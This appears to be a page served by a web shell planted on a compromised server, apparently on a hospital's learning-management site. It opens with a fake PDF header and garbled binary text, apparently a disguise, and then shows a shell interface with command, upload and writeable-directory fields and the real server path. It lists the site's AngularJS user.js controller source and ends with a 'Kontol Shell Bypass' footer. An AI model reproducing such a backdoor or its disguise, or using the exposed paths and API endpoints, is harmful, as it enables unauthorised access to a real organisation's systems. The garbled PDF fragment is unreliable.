%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/student-panel/app-js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/student-panel/app-js/user.js
/** UserProfile Controller **/
MetronicApp.controller("UserProfile", function ($scope, $rootScope, $http, $state, $timeout, Auth) {
	var CR = this;

	CR.getCities = function (state_id, fromDtl) {
		if (!fromDtl) {
			CR.dtl.city_id = '';
			CR.dtl.city = '';
			CR.dtl.pincode = '';
		}
		$http({ url: API_URL + 'common/cities/' + state_id }).success(
			function (res) {
				CR.cities = res.cities;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.cityChangeEvent = function (city_id) {
		if (city_id != '-1') {
			CR.dtl.city = '';
		}
		//CR.dtl.pincode=$("#citydd option:selected").attr('pincode');
	}

	CR.updateProfile = function () {
		var frm = $("#profileform");
		hide_form_errors(frm);
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'user/updateProfile', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
				} else {
					//show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	$scope.uploadProfilePic = function () {
		if (!check_image($('#proPicFile')[0])) {
			return;
		}

		var frm = $("#proPicForm");
		var formData = new FormData(frm[0]);

		show_loader();
		$http({ url: API_URL + 'user/uploadProfilePic', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				$('#proPicFile').val('');
				if (res.success == 'T') {
					CR.dtl.profilePicUrl = res.profilePicUrl;
					show_alert_msg(res.msg);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	/** Init */
	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'user/initProfile' }).success(
			function (res) {
				CR.dtl = res.dtl;
				if (!CR.dtl.profilePicUrl) {
					CR.dtl.profilePicUrl = $rootScope.baseUrl + 'images/profile-img.jpg';
				}

				CR.states = res.states;
				CR.countrys = res.countrys;
				/*if (CR.dtl.city_id != '-1') {
					CR.dtl.city = '';
				}
				CR.getCities(CR.dtl.state_id, true);
				*/
				$timeout(function () { initClassieForm(); });
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** Report Issue **/
angular.module('MetronicApp').controller("ReportIssue", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;
	CR.data = {};

	CR.getCatIssues = function (catId) {
		CR.issues = [];
		$.each(CR.issueCats, function (k, v) {
			if (catId == v.id) {
				CR.issues = angular.copy(v.issues);
			}
		});
		$("#cat").val($("#cat_id option:selected").text());
	}

	CR.submitIssue = function () {
		var frm = $("#issueForm");
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'user/submitIssue', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success == 'T') {
					CR.reportedIssues = res.reportedIssues;
					CR.data = {};
					$("#file").val('');
					show_alert_msg(res.msg);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.detail = function (id) {
		CR.yourComment = '';
		show_loader();
		$http({ url: API_URL + 'user/reportedIssueDetail/' + id }).success(
			function (res) {
				CR.dtl = res.dtl;
				showModal($("#dtlModal"), true);
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.addComment = function () {
		show_loader();
		$http({ url: API_URL + 'user/addIssueComment', method: 'POST', data: { id: CR.dtl.id, comment: CR.yourComment } }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					CR.yourComment = '';
					CR.dtl = res.dtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.deleteIssueComment = function (id) {
		if (!confirm("Are you sure to delete?")) {
			return;
		}
		show_loader();
		$http({ url: API_URL + 'user/deleteIssueComment', method: 'POST', data: { id: id, parent_id: CR.dtl.id } }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					CR.dtl = res.dtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'user/initReportIssue' }).success(
			function (res) {
				CR.dtl = res.dtl;
				CR.issueCats = res.issueCats;
				CR.reportedIssues = res.reportedIssues;

				$timeout(function () {
					initClassieForm();
				});
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});


/** ScheduleVisit **/
angular.module('MetronicApp').controller("ScheduleVisit", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;
	CR.svData = {};
	CR.selVenue = {};

	CR.getVenueDtl = function (id) {
		CR.selVenue = {};
		$.each(CR.venues, function (k, v) {
			if (v.id == id) {
				CR.selVenue = angular.copy(v);
			}
		});
	}

	CR.scheduleVisit = function () {
		show_loader();
		$http({ url: API_URL + 'user/scheduleVisit', method: 'POST', data: CR.svData }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					CR.visitDtl = res.visitDtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.cancelVisit = function () {
		if (!confirm("Are you sure to cancel?")) {
			return;
		}

		show_loader();
		$http({ url: API_URL + 'user/cancelVisit' }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					CR.visitDtl = res.visitDtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'user/initScheduleVisit' }).success(
			function (res) {
				CR.venues = res.venues;
				CR.visitDtl = res.visitDtl;

				$timeout(function () {
					set_datepicker();
					initClassieForm();
				});
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** CampusVisit **/
angular.module('MetronicApp').controller("CampusVisit", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;
	CR.saveCampusVisit = function () {
		show_loader();
		$http({ url: API_URL + 'user/saveCampusVisit', method: 'POST', data: CR.cvData }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.cvisitDtl = res.cvisitDtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.cancelCampusVisit = function () {
		if (!confirm("Are you sure to cancel?")) {
			return;
		}

		show_loader();
		$http({ url: API_URL + 'user/cancelCampusVisit' }).success(
			function (res) {
				if (res.success == 'T') {
					show_alert_msg(res.msg);
					CR.cvisitDtl = res.cvisitDtl;
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.getCampusTimes = function (dt) {
		CR.campusTimes = [];
		CR.cvData.ctime = '';
		$.each(CR.campusDates, function (k, v) {
			if (v.cdate == dt) {
				CR.campusTimes = v.times;
			}
		});
	}

	CR.init = function () {
		CR.campusTimes = [];
		CR.cvData = {};
		show_loader();
		$http({ url: API_URL + 'user/initCampusVisit' }).success(
			function (res) {
				CR.campusLists = res.campusLists;
				CR.cvData.campus_id = res.campusLists[0].id;
				CR.campusDates = res.campusLists[0].cdates;
				CR.cvisitDtl = res.cvisitDtl;

				$timeout(function () {
					set_datepicker();
					initClassieForm();
				});
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});


/** Payment Response **/
angular.module('MetronicApp').controller("PayRes", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;

	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'user/payTransDtl/' + $stateParams.id }).success(
			function (res) {
				CR.success = res.success;
				CR.dtl = res.dtl;

				if (res.aomcode) {
					$("body").append(res.aomcode);
				}

				if (res.noti_id) {
					fbaseOb.sendMsg(fbaseOb.refName, { noti_id: res.noti_id });
				}
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** Reg Complete **/
angular.module('MetronicApp').controller("RegComplete", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;

	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'user/applicationNdUsrInfo' }).success(
			function (res) {
				CR.success = res.success;
				if (res.success) {
					CR.dtl = res.dtl;
				} else {
					show_alert_msg(res.msg, 'E');
					//$state.go("dashboard");
				}
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** SlotBooking **/
angular.module('MetronicApp').controller("SlotBooking", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;

	CR.init = function () {
		hide_loader();
	}
	CR.init();
});

/** AboutSuat **/
angular.module('MetronicApp').controller("AboutSuat", function ($scope, $http, $state, $stateParams, $location, $timeout, Auth) {
	var CR = this;
	CR.result = '';
	CR.init = function () {
		show_loader();
		$http({ url: API_URL + 'common/getAboutSuat' }).success(
			function (res) {
				CR.result = res.result;
				hide_loader();
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

//EOF

Kontol Shell Bypass